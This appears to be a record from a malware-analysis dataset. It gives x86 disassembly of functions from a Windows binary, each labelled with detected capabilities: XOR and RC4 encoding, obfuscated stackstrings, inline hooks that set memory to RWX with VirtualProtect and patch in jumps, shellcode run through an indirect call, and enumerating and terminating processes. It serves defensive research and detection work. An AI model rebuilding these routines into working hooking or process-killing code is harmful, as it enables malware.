joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a490
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007f6bd
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x100b500c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea esi, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae esi, dword [ebp + 8]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000a4d0
sub esi, ecx
push esi
call fcn.1007eb7d
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
js 0x1000a4fb
nop word [eax + eax]
xor byte [edx + edi], dl
lea ecx, [edx + edi]
inc edx
cmp edx, esi
jle 0x1000a4f0
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1000a531
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1000a527
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000a527
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.1007eb6f
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x18

Function at 0x1000b930
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
js 0x1000b967
nop
lea eax, [ebp - 8]
push eax
push 0x40
push 4
lea eax, [ebx + esi]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, edi
jle 0x1000b950
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007e249
mov esp, ebp
pop ebp
ret 8

Function at 0x1000bc20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov ebx, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
mov dword [edi], ecx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
xor ecx, ebp
pop ebx
call fcn.1007e249
mov esp, ebp
pop ebp
ret 8
Function at 0x1000bc70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100ad190
push 0x1007e4d8
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x100b500c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov byte [esi], 0xe8
mov dword [esi + 1], eax
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, edi
jae 0x1000bce2
mov byte [esi + eax], 0x90
inc eax
jmp 0x1000bcd4
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1000bcfc
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100178e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, edx
mov dword [ebp - 0xc], eax
cmp ebx, 0x1000
jbe 0x10017937
test eax, eax
je 0x10017937
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10017936
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push dword [ebp - 0xc]
push ebx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1007e249
mov esp, ebp
pop ebp
ret

Function at 0x10017950
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
cmp edi, 0x1000
jbe 0x1001798d
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1007e249
mov esp, ebp
pop ebp
ret

Function at 0x100179a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [0x100bdf28]
mov ebx, edx
cmp edi, 0x1000
jbe 0x100179e9
test ebx, ebx
je 0x100179e9
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebx]
mov byte [edi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x10017a00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
cmp eax, 0x1000
jbe 0x10017aa8
push ebx
push esi
push edi
push 0xa
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esp, 4
mov esi, eax
lea eax, [ebp - 0xc]
mov ebx, esi
push eax
push 0x40
push 0xa
push esi
call edi
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx]
mov dword [esi], eax
mov al, byte [ecx + 4]
mov byte [esi + 4], al
add esi, 5
lea eax, [ebp - 8]
sub ecx, esi
push eax
push 0x40
mov byte [esi], 0xe9
mov dword [esi + 1], ecx
mov esi, dword [ebp - 0x10]
push 5
push esi
call edi
mov eax, 0x10019140
mov byte [esi], 0xe9
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 5
push esi
call edi
push 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret

Function at 0x10017c50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
cmp ebx, 0x1000
jbe 0x10017cae
test edi, edi
je 0x10017cae
push esi
push edi
call fcn.1007eb7d
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.1007e249
mov esp, ebp
pop ebp
ret 8

Function at 0x10017cd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
call fcn.1007eb7d
add esp, 4
mov ebx, eax
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ebx
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test edi, edi
jle 0x10017d3e
sub ebx, esi
nop dword [eax + eax]
push 4
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10017d22
mov al, byte [esi]
mov byte [ebx + esi], al
inc esi
sub edi, 1
jne 0x10017d10
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1007e249
mov esp, ebp
pop ebp
ret 8
Function at 0x10017d60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push esi
call fcn.1007eb7d
add esp, 4
mov ebx, eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x30], ebx
push eax
push 0x40
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 8]
mov edi, ebx
lea eax, [esi + ecx]
mov dword [ebp - 0x2c], eax
nop dword [eax]
push 0x1c
lea eax, [ebp - 0x28]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
cmp edi, 0x1000
jbe 0x10017df1
test ebx, ebx
je 0x10017df1
test esi, esi
je 0x10017df1
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push ebx
push edi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x28]
lea ecx, [ebx + esi]
add edi, esi
cmp ecx, dword [ebp - 0x2c]
jb 0x10017da0
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x30]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.1007e249
mov esp, ebp
pop ebp
ret 8

Function at 0x10017e20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
cmp edi, 0x1000
jbe 0x10017e5e
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.1007e249
mov esp, ebp
pop ebp
ret 4
Function at 0x10017e70
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x100b500c]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
mov esi, ecx
push 0xf
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [esp + 0x10], 0x128
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10017f22
nop dword [eax]
mov eax, esi
lea ecx, [esp + 0x34]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10017ee6
test dl, dl
je 0x10017ee2
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10017ee6
add ecx, 2
add eax, 2
test dl, dl
jne 0x10017ec6
xor eax, eax
jmp 0x10017eeb
sbb eax, eax
or eax, 1
test eax, eax
jne 0x10017f12
push dword [esp + 0x18]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x10017f0e
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10017ec0
push edi
call ebx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1007e249
mov esp, ebp
pop ebp
ret

Function at 0x10017f40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100ad930
push 0x1007e4d8
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x100b500c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x10017fda
cmp edi, 0x1000
jbe 0x10017fda
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe9
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x10017fbf
mov byte [esi + eax], 0x90
inc eax
jmp 0x10017fb0
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x10017fda
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x10018000
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100ad950
push 0x1007e4d8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x100b500c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov ebx, edx
mov edi, ecx
mov dword [ebp - 4], 0
cmp edi, 0x1000
jbe 0x100180ce
cmp ebx, 0x1000
jbe 0x100180ce
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x14
call fcn.1007eb7d
add esp, 4
mov esi, eax
mov dword [ebp - 0x2c], esi
lea eax, [ebp - 0x24]
push eax
push 0x40
push 0x14
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [esi], ebx
xor ecx, ecx
mov dword [ebp - 0x30], ecx
cmp ecx, 3
jg 0x10018099
mov al, byte [ebp + ecx - 0x2c]
mov byte [ebp + ecx - 0x34], al
inc ecx
jmp 0x10018086
mov word [edi], 0x15ff
xor ecx, ecx
mov dword [ebp - 0x38], ecx
cmp ecx, 3
ja 0x100180b3
mov al, byte [ebp + ecx - 0x34]
mov byte [edi + ecx + 2], al
inc ecx
jmp 0x100180a0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x20]
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x100180ce
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret

Function at 0x10018100
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov edx, 0xa7
xor eax, eax
nop dword [eax]
mov cl, byte [eax + 0x100a4d78]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x2c], cl
and edx, 0x800000ff
jns 0x1001812d
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x1e
jl 0x10018110
lea eax, [ebp - 0x2c]
mov byte [ebp - 0xe], 0
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x6c64746e
push eax
mov dword [ebp - 8], 0x6c642e6c
mov word [ebp - 4], 0x6c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xorps xmm0, xmm0
mov word [ebp - 4], 0
push 0x10067290
push 1
movq qword [ebp - 0xc], xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov word [ebp - 0x10], 0
mov byte [ebp - 0xe], 0
call eax
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x100181a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x100ad970
push 0x1007e4d8
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x100b500c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov edi, edx
mov esi, ecx
mov dword [ebp - 4], 0
cmp esi, 0x1000
jbe 0x1001823a
cmp edi, 0x1000
jbe 0x1001823a
lea eax, [ebp - 0x20]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub edi, esi
sub edi, 5
mov byte [esi], 0xe8
mov dword [esi + 1], edi
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, 5
jae 0x1001821f
mov byte [esi + eax], 0x90
inc eax
jmp 0x10018210
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1001823a
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret

Function at 0x10018260
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov dword [ebp - 0xc], eax
push ebx
mov ebx, edx
cmp eax, 0x1000
jbe 0x100182ce
push esi
push edi
lea esi, [ebx + 5]
push esi
call fcn.1007eb7d
add esp, 4
mov edi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0xc]
push ebx
push esi
push edi
call sub.VCRUNTIME140.dll_memcpy
lea ecx, [ebx + edi]
add esp, 0xc
lea eax, [esi - 5]
mov byte [ecx], 0xe9
sub ebx, ecx
add eax, ebx
mov dword [ecx + 1], eax
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop ebx
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x100182e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10081441
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x40], eax
mov eax, dword [0x100c2afc]
test eax, eax
jne 0x1001848d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b7288]
movaps xmm0, xmmword [0x100a6000]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0xa858bd91
mov esi, dword [eax + ecx*4]
mov word [ebp - 0x28], 0xa4d2
mov byte [ebp - 0x26], 0xfd
mov eax, dword [esi + 0x34dc]
test al, 1
jne 0x100183ac
or eax, 1
mov dword [esi + 0x34dc], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov byte [esi + 0x2a53], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x3c]
mov byte [ecx + esi + 0x2a3c], al
add ecx, 1
adc edx, 0
jne 0x10018398
cmp ecx, 0x17
jb 0x10018380
push 0x10091ef0
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x2a3c]
mov ecx, edi
call fcn.100784e0
mov eax, dword [esi + 0x43cc]
mov dword [ebp - 0x1c], 0xa451bd90
mov dword [ebp - 0x18], 0x51d38bd0
mov word [ebp - 0x14], 0xa389
mov byte [ebp - 0x12], 0x3d
test al, 1
jne 0x1001842c
or eax, 1
mov dword [esi + 0x43cc], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov byte [esi + 0x389b], 1
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x3890], al
add ecx, 1
adc edx, 0
jne 0x10018418
cmp ecx, 0xb
jb 0x10018400
push 0x10091f40
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x3890]
mov ecx, esi
call fcn.10078540
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018486
push 7
call fcn.1007eb7d
add esp, 4
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018488
xor eax, eax
mov dword [0x100c2afc], eax
push 0
push 0
push dword [ebp - 0x40]
mov dword [0x100bdef0], eax
push ebx
push 0
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret
Function at 0x100184c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100814d1
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x100b500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x100c2ab8]
test eax, eax
jne 0x1001866d
mov eax, dword fs:[0x2c]
mov ecx, dword [0x100b7288]
mov dword [ebp - 0x20], 0xc8174d9c
mov dword [ebp - 0x1c], 0x6134dd57
mov dword [ebp - 0x18], 0xc306539a
mov esi, dword [eax + ecx*4]
mov word [ebp - 0x14], 0xb364
mov eax, dword [esi + 0x344]
test al, 1
jne 0x1001858c
or eax, 1
mov dword [esi + 0x344], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x4572], 1
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x4564], al
add ecx, 1
adc edx, 0
jne 0x10018578
cmp ecx, 0xe
jb 0x10018560
push 0x10091f90
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x4564]
mov ecx, edi
call fcn.10078420
mov eax, dword [esi + 0x3358]
mov dword [ebp - 0x20], 0xe42d6a82
mov dword [ebp - 0x1c], 0x3b05f66b
mov dword [ebp - 0x18], 0xad0f4fb1
test al, 1
jne 0x1001860c
or eax, 1
mov dword [esi + 0x3358], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x4008], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x3ffc], al
add ecx, 1
adc edx, 0
jne 0x100185f8
cmp ecx, 0xc
jb 0x100185e0
push 0x10091fe0
call fcn.1007ec26
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x3ffc]
mov ecx, esi
call fcn.10078480
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, 0x1000
jbe 0x10018666
push 7
call fcn.1007eb7d
add esp, 4
mov esi, eax
lea eax, [ebp - 0x24]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x10018668
xor eax, eax
mov dword [0x100c2ab8], eax
push 0
push 0
push 0
push 1
push ebx
mov dword [0x100bc6fc], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007e249
mov esp, ebp
pop ebp
ret